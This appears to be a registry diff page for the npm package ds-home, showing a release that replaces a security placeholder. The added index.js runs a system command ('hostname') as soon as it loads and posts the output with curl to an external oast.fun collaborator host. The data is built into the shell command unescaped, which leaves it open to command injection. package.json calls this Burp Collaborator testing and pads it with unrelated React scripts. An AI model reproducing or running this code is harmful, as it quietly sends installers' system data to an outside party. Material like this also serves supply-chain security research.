ds-home 0.0.1-security → 0.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ds-home might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +37 -0
  2. package/package.json +46 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,37 @@
1
+ const { exec } = require("child_process");
2
+
3
+ function sendPingback(data) {
4
+ const collaboratorUrl = "https://rxthgpisbdduguomjwmi4aeh4hqgjdxla.oast.fun";
5
+ exec(`curl -X POST -d "${data}" ${collaboratorUrl}`, (error, stdout, stderr) => {
6
+ if (error) {
7
+ console.error(`Error: ${error.message}`);
8
+ return;
9
+ }
10
+ if (stderr) {
11
+ console.error(`Stderr: ${stderr}`);
12
+ return;
13
+ }
14
+ console.log(`Pingback sent: ${stdout}`);
15
+ });
16
+ }
17
+
18
+ function executeCommand(command) {
19
+ exec(command, (error, stdout, stderr) => {
20
+ if (error) {
21
+ console.error(`Error: ${error.message}`);
22
+ sendPingback(`Error executing command: ${error.message}`);
23
+ return;
24
+ }
25
+ if (stderr) {
26
+ console.error(`Stderr: ${stderr}`);
27
+ sendPingback(`Stderr: ${stderr}`);
28
+ return;
29
+ }
30
+ console.log(`Command output: ${stdout}`);
31
+ sendPingback(stdout); // Send the command output to the collaborator
32
+ });
33
+ }
34
+
35
+ // Example: Execute a command (e.g., 'whoami')
36
+ executeCommand('hostname');
37
+
package/package.json CHANGED
@@ -1,6 +1,49 @@
1
1
  {
2
2
  "name": "ds-home",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.1.0",
4
+ "description": "A simple package to trigger Burp Collaborator for security testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js",
8
+ "dev": "react-scripts start",
9
+ "build": "node ./scripts/generate && react-scripts build",
10
+ "test": "react-scripts test",
11
+ "eject": "react-scripts eject",
12
+ "generate": "node ./scripts/generate"
13
+ },
14
+ "dependencies": {
15
+ "@ant-design/icons": "^4.8.0",
16
+ "antd": "^5.0.3",
17
+ "dayjs": "^1.11.6",
18
+ "react": "^18.2.0",
19
+ "react-dom": "^18.2.0",
20
+ "react-player": "^2.11.0",
21
+ "react-router-dom": "^6.4.3",
22
+ "react-scripts": "5.0.1",
23
+ "sass": "^1.56.1"
24
+ },
25
+ "devDependencies": {
26
+ "fs-extra": "^10.1.0",
27
+ "highlight.js": "^11.6.0",
28
+ "markdown-it": "^13.0.1"
29
+ },
30
+ "eslintConfig": {
31
+ "extends": [
32
+ "react-app",
33
+ "react-app/jest"
34
+ ]
35
+ },
36
+ "browserslist": {
37
+ "production": [
38
+ ">0.2%",
39
+ "not dead",
40
+ "not op_mini all"
41
+ ],
42
+ "development": [
43
+ "last 1 chrome version",
44
+ "last 1 firefox version",
45
+ "last 1 safari version"
46
+ ]
47
+ }
6
48
  }
49
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=ds-home for more information.